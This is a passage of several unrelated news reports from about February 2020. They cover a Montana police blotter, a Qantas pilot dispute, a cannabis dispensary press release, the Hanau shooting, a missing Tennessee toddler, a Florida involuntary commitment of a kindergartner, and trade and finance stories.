recovered a vehicle stolen out of Billings, which had stolen tools in the backseat. Officers determined the thefts were tied to Brady Dean Rauh, 27, who had been arrested in Jefferson County. Police picked up Rauh Thursday at the Jefferson County Jail and he was brought to the Butte Detention Center and jailed on six felonies, including parole violation, burglary, and four counts of theft. Midnight arrest Just after midnight Friday, officers were in the 2600 block of Goodwin Street looking for a man who had a warrant for his arrest on a violation of a protection order. The police spotted the man they were looking for, Chance Michael Dowling, 26, as he drove away from a residence on that block and they followed him. Dowling was arrested near Farragut and Ottawa and taken to jail. Car stolen A woman reported around noon Thursday that her 2005 Buick LeSabre was stolen from her driveway on the 2800 block of Locust. The case is under investigation. Partner assaults James Lonnie McGivern, 44, was arrested near Farrell and Texas Thursday afternoon for partner or family member assault. A woman reported to police that while driving, McGivern struck her on the side of the head and her arm. When she attempted to call police, he grabbed the cellphone out her hand and threw it in the back seat. He then jumped out of the vehicle. At around 1 p.m. Thursday, a woman and her ex-boyfriend, Kody Karl Michael Keene, 20, got into an argument over other relationships. Keene allegedly pushed her from behind and attempted to grab her cellphone when she tried to call the police. He was arrested in the 1100 block of Maryland and jailed for partner or family member assault. Tiggy identified At 10 p.m. Thursday, a call came in about a vehicle blocking the driveway on the 1600 block of North Main. When police arrived, they determined the vehicle was registered to Lari Tiggy Dale Todd, 50, who had a criminal contempt warrant out for her arrest. When questioned, Todd gave officers a different name, but she was quickly identified. When taken to jail, she had three non-prescribed oxycodone pills in her possession, so criminal possession of dangerous drugs was added to the list. Love 0 Funny 3 Wow 2 Sad 3 Angry 5 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Qantas is threatening to draft pilots from a Chinese airline to fly non-stop from Australia to New York and London as it battles militant strike action. The flying kangaroo carrier last year successfully trialled three 19-hour flights direct to Sydney from the United States and the UK. It wants to offer non-stop flights from Sydney, Melbourne and Brisbane to New York and London on board new Boeing 787-9 Dreamliners. However, the Australian and International Pilots Association is opposed to the current plan, known as Project Sunrise, arguing there are fatigue risks with that kind of long-haul flight. Qantas is threatening to draft pilots living overseas to fly non-stop from Australia to New York and London as the airline battles strike action. Chief executive Alan Joyce (right with pilot Lisa Norman) has hinted retrenched China Southern pilots could be recruited as the Australian and International Pilots Association objects to the current plan Qantas is now threatening to hire new pilots living overseas if the pilots' union fails to agree with its plan - a day after ground and cabin crew at its budget carrier subsidiary Jetstar went on a 24-hour strike, forcing the cancellation of 48 domestic flights. The airline's chief executive Alan Joyce has stepped up his threat, highlighting how a retrenched China Southern Airlines captain had offered his services for the non-stop flights to New York and London. 'In the last few days, I had a note from an Australian captain who worked in China who said there's hundreds of Australians that have been laid off by the Chinese airlines that are very keen to come home, very experienced pilots, that are keen to come home and are very keen to do Sunrise,' he told reporters on Thursday. 'We don't want to go down that path, we do want to do a deal with our pilots and Im optimistic we will get a deal with our pilots.' AIPA president Mark Sedgwick said the hiring of foreign pilots would damage the airline's reputation for safety. 'We have warned Qantas that recruitment of an external workforce risks damaging pilot engagement and would potentially damage the airline for many years to come,' he said. The pilots' union accused Qantas of proposing inflexible productivity targets. 'Our members have the skills to safely fly ultra long-range routes and we see no need for the airline to engage another workforce,' Mr Sedgwick said. The flying kangaroo airline last year successfully trialled three, 19-hour flights direct to Sydney from London (Big Ben, left) and New York (right) Qantas is facing an industrial relations battle on another front with 200 Jetstar ground and cabin crew this week embarking on a 24-hour strike that caused 48 flights to be grounded. The Transports Workers Union is rejecting Jetstar's offer of a three per cent annual pay rise over four years, backdated to March 2019 when the last enterprise bargaining agreement expired. Instead, it wants a four per cent-a-year increase and a guarantee of more hours as part of an EBA that would run until March 2023. While that is significantly higher than the 2.2 per cent pay rise for Australian workers last year, the TWU argued the 2016 pay freeze had squeezed their earnings. Qantas is facing an industrial relations battle on another front with 200 Jetstar ground and cabin crew this week embarking on a 24-hour strike that caused 48 flights to be grounded. Pictured are Jetstar workers at Sydney domestic airport Mr Joyce, who famously ground the entire Qantas fleet in 2011 over an industrial dispute, was unmoved with Jetstar staff due to hold an enterprise bargaining agreement vote on Monday. 'No amount of industrial action will change our position,' he said. 'We won't risk the future of the company; we won't risk future jobs by giving outrageous pay increases.' TWU national secretary Michael Kaine said most Jetstar staff were struggling to pay their bills. 'This is not a pay dispute. This is a battle against underemployment and for decent jobs at the airport,' he said. Qantas told the Australian Securities Exchange the coronavirus could wipe $100million to $150million from its underlying earnings, as it confirmed flights from Sydney to Shanghai (airport pictured) would remain suspended until at least the end of May 'Jetstar say they are offering a three per cent pay rise but three per cent of not very many hours, is not very much. 'Workers want an increase in the guaranteed number of hours that workers get.' Qantas made a statutory profit after tax of $445million in the six months to December 31, which was 3.9 per cent weaker compared with the same period in 2018. The 100-year-old airline also told the Australian Securities Exchange the coronavirus could wipe $100million to $150million from its underlying earnings, as it confirmed flights from Sydney to Shanghai would remain suspended until at least the end of May. MIAMI, Feb. 21, 2020 /PRNewswire/ - Cansortium Inc. ("Cansortium" or the "Company") (CSE: TIUM.U), (OTCQB: CNTMF) a vertically-integrated provider of premium-quality medical cannabis operating under the Fluent brand, continued its Florida expansion with the February 20th opening of its 19th Florida dispensary, its first of 2020 and one of several more at various stages of construction and approval that the Company expects to add to its network during the first half of the year. The Company's newest dispensary is located at 3611 US Highway 98 West in Panama City, along the Emerald Coast between Tallahassee and Pensacola. The 1,400 square foot site will serve residents of Panama City and the surrounding area, home to two U.S. military bases, numerous large private employers, as well as Florida State University's Panama City Campus, Gulf Coast State College, and a satellite campus of Troy University. Cansortium's Chief Executive Officer Jose Hidalgo noted, "We continue to expand our Florida dispensary network, enhancing access to premium-quality Fluent cannabis products for medical marijuana patients across the state. In addition to our existing dispensaries in Tallahassee and Fort Walton Beach, our new Panama City dispensary represents a key link in the Fluent brand's growing presence across the Florida panhandle, further capitalizing on our position as one of the first five licensed operators in Florida - the state with the second-largest and fastest-growing medical marijuana patient population in the U.S." The Fluent brand continually strives to set the standard for premium quality, consistently-formulated cannabis products. Each of the Company's Florida dispensaries carries a complete assortment of Fluent premium dried flower, and full spectrum concentrates and cartridges as well as creams, drops, capsules and suppositories. All Fluent products in the Company's Florida dispensaries use high-quality cannabis that is cultivated, processed and packaged in the company's state-of-the-art Florida facilities in strict compliance with Florida regulations. For consumers, the sleek, modern dispensaries provide a warm, welcoming, professional environment, with private consultation rooms and knowledgeable staff who carefully guide patients in selecting the right products and carefully safeguard patient privacy. For a complete list of Fluent dispensary locations, current promotions and rewards programs and hours of operation, or to explore the entire Fluent product line and place an online order for home delivery anywhere in Florida, visit https://getfluent.com/. About Cansortium Inc. Headquartered in Miami, Florida, and operating under the Fluent brand, Cansortium is focused on being the highest quality cannabis company in the State of Florida driven by unrelenting commitment to operational excellence from seed to sale. Cansortium has developed strong proficiencies in each of cultivation, processing, retail, and distribution activities, the result of successfully operating in the highly regulated cannabis industry. In addition to Florida, Cansortium is seeking to create significant shareholder value in the attractive markets of Texas, Michigan and Pennsylvania, where the Company has secured licenses and established operations. Cansortium Inc.'s common shares and warrants trade on the CSE under the symbol "TIUM.U" and "TIUM.WT.U", respectively, and on the OTCQB Venture Market under the symbol (OTCQB: CNTMF). Investors can find current financial disclosure and Real-Time Level 2 quotes for the Company on www.otcmarkets.com. Forward-Looking Information Certain information in this news release, may constitute forward-looking information. In some cases, but not necessarily in all cases, forward-looking information can be identified by the use of forward-looking terminology such as "plans", "targets", "expects" or "does not expect", "is expected", "an opportunity exists", "is positioned", "estimates", "intends", "assumes", "anticipates" or "does not anticipate" or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might", "will" or "will be taken", "occur" or "be achieved". In addition, any statements that refer to expectations, projections or other characterizations of future events or circumstances contain forward-looking information. Statements containing forward-looking information are not historical facts but instead represent management's expectations, estimates and projections regarding future events. Forward-looking information is necessarily based on a number of opinions, assumptions and estimates that, while considered reasonable by the Company as of the date of this news release, are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause the actual results, level of activity, performance or achievements to be materially different from those expressed or implied by such forward-looking information, including but not limited to the factors described in the public documents of the Company available at www.sedar.com. These factors are not intended to represent a complete list of the factors that could affect the Company; however, these factors should be considered carefully. There can be no assurance that such estimates and assumptions will prove to be correct. The forward-looking statements contained in this news release are made as of the date of this news release, and the Company expressly disclaims any obligation to update or alter statements containing any forward-looking information, or the factors or assumptions underlying them, whether as a result of new information, future events or otherwise, except as required by law. SOURCE Cansortium Inc Related Links www.cansortium.com Two Los Zetas cartel members who were sentenced to life in prison for the murder of a U.S. Immigration and Customs Enforcement agent in Mexico have had their life prison sentences vacated on a legal technicality Jose Emanuel Garcia Sota, aka 'Zafado,' and Jesus Ivan Quezada Pina, aka 'Loco,' were convicted three years ago in the February 2011 murder of ICE agent Jaime Zapata in Mexico. The United States Court of Appeals for the District of Columbia Circuit ruled last month that their conviction for murder of a federal officer should be vacated, because the law does not specify whether it applies to acts outside of the United States. Prosecutors say that Garcia and Quezada were part of a Los Zetas hit squad that was out looking for vehicles to steal when they ambushed Zapata on Highway 57 in San Luis Potosi. Fellow ICE agent Victor Avila was also injured in the attack. Jose Emanuel Garcia Sota, aka 'Zafado,' (left) and Jesus Ivan Quezada Pina, aka 'Loco,' (not pictured) were convicted in the February 2011 murder of ICE agent Jaime Zapata (right) Mexican Police guard the armored SUV that Zapata was killed in after it came under attack by Los Zetas cartel members in Santa Maria del Rio, San Luis Potosi State on February 15, 2011 The two ICE agents were driving toward Mexico City on February 15, 2011 in an armored Chevrolet Suburban with diplomatic license plates when they were attacked. The car was blasted by multiple assault rifles; investigators later found some 90 shell casings at the scene. 'While working on behalf of our country, they were ruthlessly gunned down in a carjacking attempt by members of hit squads for the Los Zetas drug cartel,' said US Attorney Jessie Liu in 2017. 'We have never forgotten what happened to these two American heroes in that ambush on a Mexican highway more than six years ago.' It was the first killing of a US federal agent on Mexican soil in 26 years and sparked a huge investigation by law enforcement from both countries. The case raised questions over whether the Mexican drug gang had deliberately targeted the two Americans, or whether the agents were simply caught up in commonplace cartel violence. The SUV (above) carrying ICE agents Zapata and Victor Avila was blasted by multiple assault rifles; investigators later found some 90 shell casings at the scene A total of seven men were extradited from Mexico to the United States to stand trial over the murder. Garcia and Quezada were convicted of four counts, including murder of a federal officer, in a jury trial on July 27, 2017, and both received two life terms in prison. However, the appeals court ruling vacates their conviction on the top charges, murder and attempted murder of a federal officer, after finding that the law does not apply overseas. The convictions on lesser charges, including use of a firearm in a crime of violence, and attempted killing of persons protected under international law, were upheld by the appeals court. Garcia and Quezada were remanded to a lower court for limited re-sentencing. They face at least 20 years in prison for the lesser charges. Garcia, 39, is being held under high security at USP Coleman I in Florida. Quezada, 32, is being held at USP Florence supermax in Colorado. Two alleged drug dealers from Manipur, who were travelling in a car registered in Assam, were arrested by the special task force of the Kolkata Police in the southern part of the city on Thursday. Yaba tablets worth 2.3 crore in the black market were seized from the car. Yaba tablets are popularly known as party drugs. The dealers came from the Lilong police station area of Thoubal district in Manipur. City police officials said the dealers, Syed Amir Hussain,,25, and Md Ataour Rahman, 33, along with their driver Hanif Sheikh, 34, a resident of Kaliachak in Bengals Malda district, were arrested from the Taratala area. The tablets were hidden inside the front and rear door panels of the vehicle. More than eight kilos of drugs were hidden in the packets. The accused men were charged under Section 22(c) and 29 of the Narcotics, Drugs and Psychotropic Substances Act. A city court remanded them to police custody till March 6. * Solomons switched ties from Taiwan to Beijing last year * The region is strategically important to Beijing, Washington * Solomons has a GDP of just $1.47 bln * Opposition lawmaker says proposal is 'extraordinarily stupid' * PM's office says an official statement is pending By Jonathan Barrett SYDNEY, Feb 21 (Reuters) - The government of the Solomon Islands is seeking a $100 billion loan from Chinese interests in negotiations that started shortly after the small South Pacific archipelago switched diplomatic ties from Taiwan to Beijing last year. Details of the proposal, reviewed by Reuters, have sparked concern over whether the small economy can handle a loan that represents more than 66 times its annual economic output. The loan has been formally "offered by confidential donors" through broker Terry Wong, documents from Solomons' finance department show. The broker, with a Beijing address, would receive a proposed 11% fee if the $100 billion loan is secured. A person who answered calls to the broker did not comment. Solomons' Minister for Finance and Treasury Harry Kuma, who is leading the negotiations, told Reuters he would provide further detail about the talks next week. The office of the Prime Minister, Manasseh Sogavare, said an official statement was pending. A senior member of the Solomons government with knowledge of the proposal confirmed the veracity of the documents. He declined to be identified because he is not authorised to speak on behalf of the government. This person said the discussions were exploratory and there was no certainty a deal would be reached. The proposal was from "private Chinese interests" and did not involve the Chinese government. China's Foreign Ministry did not immediately respond to a faxed request for comment. The correspondence between the broker and the Solomons government dates back to November last year, shortly after the South Pacific nation severed ties with its long-term partner Taiwan in favour of Beijing, which drew a sharp rebuke from the United States. Story continues The diplomatic switch was a prize for China in its bid to peel away allies from Taiwan, which it considers sacred territory with no right to state-to-state ties. The archipelago, where fierce fighting occurred during World War Two, is also a highly strategic location in the South Pacific. Opposition lawmaker Peter Kenilorea, who was critical of the diplomatic shift to Beijing, said he was vehemently opposed to the loan proposal. "It's extraordinarily stupid," he told Reuters on Friday, citing an unsustainable debt load. Documents from the Solomons finance ministry include investment plans designed to recoup the brokerage fee and service an interest rate on the $100 billion loan that it said would be around 0.05% a year. "Surplus revenue generated from the investment plan will be injected into the Solomon Islands national budget annually," the proposal says. The International Monetary Fund (IMF) said in a February report that Solomons's debt was low, but it was at risk of financial shocks given it is a small, low-income economy heavily reliant on a logging industry that is in decline due to depleted resources. The Solomons has a population of around 650,000, and a GDP of $1.47 billion, budget documents show. (Reporting by Jonathan Barrett in Sydney;) Minority communities in Germany feel government inaction against far-right groups is putting them at risk. Hanau, Germany On a nondescript street corner in the centre of Hanau, locals arrived on Thursday afternoon with flowers to pay their respects, placing bouquets on the pavement just under the red and white tape that marked off the scene of the previous nights killings. Behind the police cordon were the blacked-out windows of the Midnight shisha bar, a popular all-night hang-out that became the unlikely scene of a far-right attack that has shaken Germany, and led many to question whether the state was failing to address the threat of far-right violence in the country. It was here at about 10pm (21:00 GMT) on Thursday that a gunman entered, firing a barrage of shots at customers and a waiter, killing at least three people. The killer, 43-year-old Hanau resident Tobias Rathjen, quickly left the bar and returned to his black BMW, in which he sped two kilometres (1.2 miles) west through the night to another shisha bar, Arena, in a residential neighbourhood in the west of the city, opening fire again and leaving a further five people dead. All the victims had a migrants background, according to the police. According to media reports they included one Bosnian, one Pole, one Bulgarian and a number of Turks and Kurds with Turkish citizenship. A 35-year-old pregnant woman is also thought to be among the dead. At least nine people were killed in a shooting rampage in Germany's Hanau. Officials say the shooter had a far-right motive. Here's what we know so far pic.twitter.com/cgn3lZ1TmE Al Jazeera English (@AJEnglish) February 20, 2020 A manhunt began soon after the attack, with police locating Rathjens car outside his home, not far from the second shooting. Officers raided the apartment at about 3am (02:00 GMT), finding the dead bodies of Rathjen and his 72-year-old mother, as well the murder weapon, a Glock semi-automatic pistol, which he had turned on her and then himself. German authorities described Rathjen as having a deeply racist mindset, evidenced by a series of conspiratorial YouTube videos and a rambling manifesto released on social media, citing US President Donald Trump and endorsing eugenics. Hanging back from the crowd of onlookers near the Midnight bar was 19-year-old Makbazi, who was born in Hanau and works in nearby Mannheim. The mood is terrible at the moment, he told Al Jazeera. Were just shocked. The teenager is a regular in the citys shisha bars, where he smokes, eats and chats with friends in the evenings, sometimes drinking beers where alcohol is served. Arena is a common hang-out of his, and only a few weeks ago he was with friends right here, where the shooting began. What happened here could have happened to me, he said. "The man entered and killed them all." Wounded survivor recounts the moment a gunman opened fire in Hanau, Germany. pic.twitter.com/zMa2kM4msc Al Jazeera English (@AJEnglish) February 20, 2020 On Thursday afternoon, German Interior Minister Horst Seehofer paid a visit, tightly flanked by press as he laid a wreath for the victims. He reiterated Chancellor Angela Merkels words that racism is a poison, and said he would do everything to clarify the background of the murders, but did not describe it as a terror attack. Lookng on, unimpressed, was Akif, who has spent all 48 years of his life in Hanau. He expressed little patience for the conservative politcians brief appearance at the scene. The problem is exactly this guy Seehofer, these cowards or other politicians have to answer for it because they dont do their politics properly the AfD is growing day by day, he told Al Jazeera, referring to the Alternative for Germany, a far-right party. He also laid blame at the feet of German media, which he says are complicit in stoking violence against Muslims in the country by painting them as so-called extremists. They always say Islam is equal to terrorism and we have so many ignorant people, sick people out there and they believe in bloodshed, said Akif. Attacking Muslims; whether an Afghan, Turk or a Kurd, it doesnt matter at all. It was a planned attack by people who are sick and who have been blinded by the media. The scene at the Midnight shisha bar on Thursday afternoon [Ruairi Casey/Al Jazeera] Community shaken A short bus ride away at the citys edge, where Hanau gives way to sprawling motorways, members of the citys Kurdish community gathered at a squat, bright orange community centre just off the main road. Since Thursday night mourners have passed in and out, offering condolences to a grieving family and expressing incredulity to each other over the senseless murders, which have rocked the tight-knit community here. There are between 6,000 and 7,000 Kurds in Germany. In the main hall, attendees share food and tea, as others tend to the distraught mother of one victim resting in the corner. Pinned to a noticeboard just inside the entrance is a photo of a smiling Ferhat Unvar, the proud son of a devastated family, wearing a pink v-neck t-shirt and resting his hands on a table in front of him. He was 23 years old. He finished school, he finished his training and had a good job and now everything was for nothing because he is gone and wont come back, his grandmother told Al Jazeera. A refugee from the ethnically Kurdish region of southeastern Turkey, the woman arrived in Hanau about 40 years ago. Her grandson had begun work as a heating technician after several years of training and had recently involved himself in traditional Kurdish dancing here in the community centre. We came here to Germany to live a free life and now this has happened to us for coming here, she said. As night fell once more, mourners began to filter out to cars and buses outside the venue, preparing to visit a vigil organised by the city authorities in Hanaus main square, Marktplatz. Mourners placed candles during the vigil to commemorate the victims of the attack in central Hanau [Ruairi Casey/Al Jazeera] There, thousands gathered quietly in the still winter evening, with Hanau residents, friends and families of victims, and members of the local emergency services all standing shoulder to shoulder. Some held signs decrying racism, while mourners held candles as the dark set in, some placing them at the foot of a monument to the Brothers Grimm, Hanaus most famous sons. The gathering was timed to coincide with solidarity rallies in cities across Germany. On the illuminated stage, Mayor Claus Kaminsky expressed thanks for a wave of sympathy towards Hanau from all over the world. He was followed by Volker Bouffier, leader of the state of Hesse, who spoke of a day of terror and urged the people of Hanau to stand together and not be divided by hatred. Next to speak was German President Frank-Walter Steinmeier, who earlier in the day met with a number of relatives of the victims. Nothing can explain this senseless act, announced the grey-haired statesman, describing the killings as an act of terror. What happened carved a deep wound in this city, he said. A wound that will only heal if we show common ground, not only in the hour of terror, but also in the days to come and permanently. With those few short addresses, the event came to a close, leaving many in the crowd frustrated that no time had been allocated to the families of victims or representatives from the affected communities. As Steinmeier stepped off the stage, chants of Nazis out pierced the calm, as others called for the opening of state files related to the Nationalsozialistischer Untergrund (NSU), a right-wing cell which killed nine immigrants and one police officer between 2000 and 2006, regarded as a humiliating failure of the German police and security services. One young woman shouted that if the speakers were serious about fighting racism then they should halt deportation flights to Afghanistan a reference to the controversial practice of some German states to repatriate Afghans, despite the highly dangerous situation in the destination country. The gap between rhetoric and action has become unacceptable to many minority communities in Germany, who fear inaction by political leaders, police and intelligence agencies is putting them at risk. They do nothing against [the far-right], Leyla Acar, co-president of the Kurdish Communities of Germany, told Al Jazeera after the speeches in Marktplatz. In a few years the right-wing community has got bigger and theyre doing nothing against it. Its like theyre closing their eyes until something like this happens. The Tennessee mother who officials say had failed to report her toddler daughter missing for two months declined to answer reporters' questions concerning the whereabouts of her child as she left court on Friday. Maggie Boswell, the mother of 15-month-old Evelyn Mae Boswell, who is currently the subject of an AMBER Alert and an intense statewide search, appeared impassive and silently walked from Sullivan County Courthouse to her car, as news reporters repeatedly asked her about her daughter. It is unclear why Boswell was in court on Friday. Meanwhile, Sullivan County Sheriff Jeff Cassidy said he believes Evelyn is alive and everything possible is being done to bring her home. During a press conference Friday afternoon, the sheriff said while Bowsell has been cooperating with the investigation, the information she has been providing has proven to be inaccurate. Scroll down for video Maggie Boswell, the mother of missing Tennessee toddler Evelyn Boswell, is seen leaving court, where she had appeared Friday for an unknown reason Boswell refused to answer reporters' questions concerning Evelyn's whereabouts WATCH: Megan Boswell, mother of missing toddler Evelyn Boswell, leaving the Sullivan County Courthouse. More: https://t.co/c0cYhaa1SB pic.twitter.com/UYenIYhEJ6 News 5 WCYB (@news5wcyb) February 21, 2020 Where is Evelyn? An AMBER Alert was issued on Wednesday in Tennessee for 15-month-old Evelyn Mae Boswell, who has not been seen since last December Officials in Tennessee are searching for a gray 2007 BMW (stock image), which may be linked to the baby's disappearance Cassidy elaborated that some of Boswell's 'stories' that emerged during police interviews have not been corroborated by surveillance video and witness accounts. The sheriff also revealed that a search is underway for a BMW and its occupants, which may be linked to the missing toddler. The Tennessee Bureau of Investigation sent out a tweet on Friday saying that 'individuals traveling in a gray 2007 BMW with TN tag 3M9-6W9 have information regarding Evelyn Boswells whereabouts.' The sought vehicle has a Tennessee license plate No. 3M9-6W9 TBI so far has received 200 tips related to the AMBER Alert, and a $1,000 reward is being offered by the sheriff for information that leads to Evelyn's safe return. On Thursday, Boswell's former boyfriend, local chicken eatery owner Hunter Wood, broke his silence and said in an interview with WJHL that he never saw Evelyn. Wood, whose name has been repeatedly invoked by online commenters and Internet sleuths, sought to set the record straight after claiming that he has been getting threats. Wood said he dated Boswell on and off for a few weeks in December, but never met her daughter, only seeing her in photos. 'I have no relationship with that child whatsoever,' he said. Wood added that he had been made to believe that Evelyn was living with her father while he was on leave from the military. Sheriff Cassidy said on Friday that Boswell has full custody of her daughter. Boswell's former boyfriend, local chicken eatery owner Hunter Wood (pictured), said that he never saw Evelyn during his brief relationship with her mother The Sullivan County Sheriffs Office began investigating Evelyn's disappearance on Tuesday, after the Department of Childrens Services reported the child as missing after being contacted by the toddler's grandfather. Evelyn's last sighting was two months ago, on December 26, 2019, according to a press release from the Tennessee Bureau of Investigation. Officials are trying to determine why Evelyn was not reported missing earlier, WCYB reported. The child's biological father, Ethan Perry, who is an active-duty US Army soldier stationed in Louisiana, posted a brief Facebook update addressing his daughter's disappearance on Wednesday: 'Im currently working with authorities trying to find Evelyn. I cant say much more than that at the moment.' A Tennessee Bureau of Investigation flyer says Evelyn was last seen on December 26, 2019 Sheriff's Captain Andy Seabolt said at the outset of the investigation, Evelyn's case did not meet the criteria required for an AMBER Alert, but after conferring with TBI, the alert was issued on Wednesday, reported WJHL. Officials worked through the night and into Thursday following on leads as part of the search for the toddler. 'Right now were not sure of her exact location,' Seabolt told the station WCYB. 'It could be anywhere from what we know.' Evelyn's parents are Maggie Boswell (left) and Ethan Perry (right), who is an active-duty US Army soldier stationed in Louisiana Perry, Evelyn's biological father, posted this massage on Wednesday, after the AMBER Alert was issued for his missing daughter Boswell has not spoken out publicly about the toddler's disappearance. Her most recent post, dated November 3, 2019, consisted of a photo of Evelyn sitting on a bench; the same image is now being used by TBI to look for the toddler. Boswell welcomed Evelyn on November 21, 2018, becoming a teen mom. In September 2019, she posted a touching tribute to her baby daughter, then aged 11 months: 'I'm not the best mom in the world, but I try so hard for this little beauty. I can't even explain the love I feel for her, and i know she loves me too. 'Lately my lifes been really sucky but she'll come reach for me and say "mom mom" and my heart melts and I'm reminded of her unconditional love. You can say whatever you want about me being a young mom, but I promise you my life is so much better with this angel. 'My life wasnt ruined when I had her, she gave me a purpose and a reason to wake up everyday and to better myself. Theres no love like the love from your child!' Neither Boswell nor Perry have been accused of any wrongdoing in connection to the disappearance of their daughter. Boswell was a teenager when she welcomed Evelyn in November 2018. Evelyn is described as 2 feet tall and weighing 28lbs, with blonde hair and blue eyes Evelyn is described as 2 feet tall and weighing 28lbs, with blonde hair and blue eyes. She was last seen wearing a pink tracksuit, pink shoes, and a pink bow. Anyone with information on the child's whereabouts is being asked to contact the Sullivan County Sheriff's Office at 423-279-7330 or the TBI at 1-800-TBIFIND. A Florida kindergartner was sent to a mental health center against her mothers wishes and held there for 48 hours this month after she reportedly threw tantrums at her school. The student, 6-year-old Nadia King, was just starting her day at Love Grove Elementary in Jacksonville on Feb. 4 when her mother, Martina Falk, received a call from a mental health counselor at the school saying that the girl was out of control and throwing a tantrum. The school called me after the decision to Baker Act was made, Falk said on Monday, referring to a Florida law that allows the involuntary commitment for up to 72 hours of people who are judged by certain authorities to be an imminent danger to themselves or others. Tracy A. Pierce, a spokeswoman for Duval County Public Schools, said it was Child Guidance, a crisis-response firm, that decided to have the girl admitted to the mental health center not the school. Nadia was taken to River Point Behavioral Health, an 84-bed center that treats patients of all ages for emotional, developmental, substance abuse and behavioral health issues. Pierce declined to detail specifics of Nadias behavior that day, citing student privacy laws. But an incident report from the Jacksonville Sheriffs Office said that the girl was destroying school property, attacking staff, out of control and running out of school. When a students behavior presents a risk of self-harm or harm to others, the school districts procedure is to call Child Guidance, our crisis-response provider, Pierce said in a statement on Monday. Our staff followed that procedure. The parent was notified immediately after the decision was made to transport Nadia, who calmly walked to the police car with the school principal, she added. More for you Florida law that forces mental-health treatment faces new... Police body-camera footage shows the girl calmly chatting with a sheriffs deputy in the car, where she asks if there are any snacks and if this is a field trip. She also recites her mothers name and phone number. The deputy can be heard telling another officer that the girl is pleasant and cooperative. She is fine, the deputy says in the video. There is nothing wrong with her. The school district said that the officers in the video were not present during the events which motivated the school to call Child Guidance or when the health counselor was intervening with the student. Falk, a customer service representative, said that when she arrived at River Point Behavioral Health, around 11:30 a.m., she was told that her daughter was being held for 48 hours. She said she wasnt permitted to see Nadia until 6:30 that night. When she did see her, Falk said the girl was sedated in a secluded room. I was crying, I was hysterical, I was angry, Falk, 31, recalled, adding that she was able to bring her daughter home around noon on Feb. 6. I dont think she should have been Baker Acted. Why did they feel this was necessary? Falk said that Nadia, whom she described as prone to outbursts and tantrums, has attention deficit hyperactivity disorder as well as a disability called global developmental delay. She said she had enrolled Nadia at Love Grove Elementary, which has a student body of about 420, because of its services for children with special needs. Reganel J. Reeves, a lawyer for Falk, said the family planned to hold the school district accountable for the emotional stress the girl and her mother had endured. We put them on notice and intend to take legal action, Reeves said on Monday. In the meantime, Falk said that Nadia was now enrolled at another school. We are trying to get back to having everything as normal as possible, Falk said. We are maintaining. This article originally appeared in The New York Times. The Caisse de depot et placement du Quebec building is seen in Montreal By Allison Lampert and Nichola Saminather MONTREAL/TORONTO (Reuters) - Alstom SA has a "strong case" to acquire Bombardier Inc's rail business for up to 6.2 billion euros, without making too many important concessions, the chief executive of Canadian pension fund Caisse de depot et placement du Quebec (CDPQ) said. The companies on Monday announced the proposed deal, which is likely to draw scrutiny from competition regulators and unions concerned about job cuts. It would make the combined entity the world's second-biggest train maker after China's state-owned CRRC Corp. Charles Emond, Caisse's recently appointed CEO, said on Thursday the deal could succeed because of its contrast with an attempted merger between Alstom and Germany's Siemens AG which failed last year due to antitrust concerns. "I think weve a got a very strong case to actually see this go through, Emond told reporters in Montreal after Caisse reported a 10.4% average weighted return in 2019, driven by its equity investments. Canada's second-largest pension fund, which owns a 30% stake in Bombardier's rail division, would end up with an 18% stake in Alstom after the deal's approval. Apart from having different footprints and less overlap than Alstom and Siemens, Emond said the French company has learned from its last attempt at consolidation. "I think weve got a strong case to end up in a place where remedies if any would not be that important. I think its a fairly different situation." He said he thinks Alstom "has been quite proactive this time around," and European regulators were informed about the deal. I know a courtesy heads up has been given, he said. Caisse, which invests on behalf of some 6 million workers and retirees in Canada's mostly French-speaking province of Quebec, posted a -2.7% return from its real estate assets as valuations fell in its Canadian shopping centre portfolio. Story continues The fund also aims to sell about a third of its 25 Canadian malls, said Nathalie Palladitcheff, chief executive of the pension fund's real estate unit Ivanhoe Cambridge. Ivanhoe is focusing on industrial and logistics assets as Canada, like other countries, moves away from traditional shopping centres, Palladitcheff told reporters. CDPQ's overall annualized returns over five and 10 years were 8.1% and 9.2%, respectively, the fund said. That compares with five-year returns of 10.4% for the Canada Pension Plan Investment Board, the nation's biggest, and 8% for the Ontario Teachers Pension Plan. Caisse underperformed the benchmark's 11.9% return in 2019. CDPQ's total assets rose to C$340 billion ($256.8 billion) as of Dec. 31, from C$310 billion a year earlier. (Reporting by Allison Lampert in Montreal and Nichola Saminather in Toronto; Editing by David Gregorio and Matthew Lewis) Many garment and textile producers are daunted by the EVFTA rules of origin The benefits of EVFTAcan best be seen in the garment and textile sector, with enterprises expected to enjoy plenty of room to expand into new markets due to the regulations setting out tax reductions. According to the Ministry of Planning and Investment, Vietnam's textile and garment export turnover to the EU will increase by 81 per cent. Most notably, in the context of unpredictable global developments such as trade protectionism, trade tensions, and the ongoing impact of the novel coronavirus, the trade deal could help local garment and textile firms boost their exports, persify markets, and achieve higher added value through the establishment of fresh supply chains. The EVFTA opens opportunities for businesses with material autonomy as well as those with large EU groups of customers, such as TNG Investment and Trading JSC (TNG) and Thanh Cong Textile Garment-Investment-Trading JSC (TCM). The EU is the largest market of TNG, accounting for 54 per cent of sales, while it makes up 40 per cent of GMC's total revenue. For TCM, the EU currently contributes only about 5 per cent of sewing revenue, however, with 60-70 per cent material autonomy, TCM is expected to meet EVFTA rules of origin. Despite the EU being considered a promising market, in order to qualify for tariff exemption under the EVFTA, companies will need to increase the localisation rate of fabric because the EVFTA rules of origin (which are applicable from the fabric stage forward) are considered the largest barriers for garment and textile producers. Along with Vietnamese fabrics, those imported from South Korea for export manufacturing are recognised to meet the EVFTA fabric-forward rules of origin and enjoy zero tariffs. Meanwhile, 60 per cent of imported fabrics come from mainland China and Taiwan at a far lower cost than fabrics imported from South Korea. Thus, a number of garment and textile producers are sceptical of opportunities from this market. One of them is Song Hong Garment JSC, the representative of which said that the company cannot meet this requirement, and so will not be able to tap into the benefits of the free trade agreement. Additionally, the company does not expect to suffer an impact from this decision because its priority market has been the US for years now. Other garment and textile producers also expressed intentions to focus on their traditional markets due to the low cost of materials from China. Even when the delays in supply from China due to COVID-19 pushed them to look for raw material imports from other markets such as South Korea, India, Bangladesh, and Brazil, many saw this as nothing more than a temporary solution. Pham Xuan Hong, chairman of the Ho Chi Minh City Textile Association, said China simply cannot be replaced as the main supplier due to its much lower 